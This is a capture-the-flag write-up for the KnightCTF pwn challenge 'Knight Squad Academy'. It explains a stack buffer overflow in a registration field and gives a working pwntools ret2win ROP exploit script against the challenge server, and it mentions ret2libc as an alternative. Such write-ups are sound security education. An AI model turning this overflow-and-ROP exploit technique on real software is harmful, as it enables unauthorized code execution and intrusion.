Knight Squad Academy
Knight Squad Academy
Platform: knightctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-20 | Status: Solved Techniques: stack_buffer_overflow, rop_chain, ret2win
Summary
Connection: nc 66.228.49.41 5000
Knight Squad Academy — KnightCTF
Description
Its our academy... :D
Connection: nc 66.228.49.41 5000
Files: challenge (ELF binary)
Analysis
Security checks (checksec)
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key points:
- No canary — can overflow buffer without bypassing canary
- No PIE — addresses are fixed, ROP gadgets at known addresses
- NX enabled — cannot execute shellcode on stack, need ROP
Program functionality
The program presents a menu with 3 options:
- Register cadet
- Enrollment status
- Exit
Vulnerability
In the registration function (option 1), the "Enrollment notes" field uses read() to read 240 bytes (0xf0) into a buffer that starts at rbp-0x70 (112 bytes from rbp).
Buffer size: 112 bytes (0x70)
Read size: 240 bytes (0xf0)
Overflow: 128 bytes
This is a classic stack buffer overflow, allowing overwrite of:
- Saved RBP (8 bytes)
- Return address (8 bytes)
- And 112 more bytes for ROP chain
Win function (0x4013ac)
During binary analysis, a hidden function was found at address 0x4013ac:
c read-only • copy allowedvoid win(long arg) { if (arg == 0x1337c0decafebeef) { // Opens ./flag.txt and prints the flag FILE *f = fopen("./flag.txt", "r"); // ... } else { puts("[SECURITY] Authorization failed."); } }
The function requires passing magic value 0x1337c0decafebeef in the rdi register.
ROP gadgets
Using ROPgadget, the required gadget was found:
0x40150b: pop rdi; ret
Solution
Exploit structure
+------------------+
| 'A' * 112 | <- Buffer padding
+------------------+
| 'A' * 8 | <- Overwrite saved RBP
+------------------+
| 0x40150b | <- pop rdi; ret
+------------------+
| 0x1337c0decafebeef | <- magic value -> rdi
+------------------+
| 0x4013ac | <- win function address
+------------------+
Offset to return address: 120 bytes (112 + 8)
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re HOST = "66.228.49.41" PORT = 5000 # Addresses from binary (PIE disabled) pop_rdi = 0x40150b # pop rdi; ret win_func = 0x4013ac # win function magic_value = 0x1337c0decafebeef # required argument # Offset: 112 (buffer) + 8 (saved rbp) = 120 offset = 120 io = remote(HOST, PORT) # Menu navigation io.recvuntil(b'3) Exit') io.sendline(b'1') # Register cadet io.recvuntil(b'> ') io.sendline(b'AAAA') # Cadet name (any value) io.recvuntil(b'> ') # ROP payload payload = b'A' * offset # Padding to return address payload += p64(pop_rdi) # pop rdi; ret payload += p64(magic_value) # 0x1337c0decafebeef -> rdi payload += p64(win_func) # call win(0x1337c0decafebeef) io.send(payload) # Get the flag import time time.sleep(1) data = io.recv(timeout=2) matches = re.findall(rb'KCTF\{[^}]+\}', data) if matches: print(f"Flag: {matches[0].decode()}") else: print(data.decode()) io.close()
Tools
| Tool | Usage |
|---|---|
checksec | Check binary protections |
radare2 / Ghidra | Static analysis, finding win function |
ROPgadget | Finding ROP gadgets (pop rdi; ret) |
pwntools | Writing exploit, socket handling |
Alternative Approaches
-
Using one_gadget — if there was no win function, could search for one_gadget in libc (but would require libc address leak)
-
ret2libc — calling
system("/bin/sh")via ROP, but requires libc address leak -
Using ret before win — sometimes an additional
retis needed for stack alignment, but in this case it wasn't required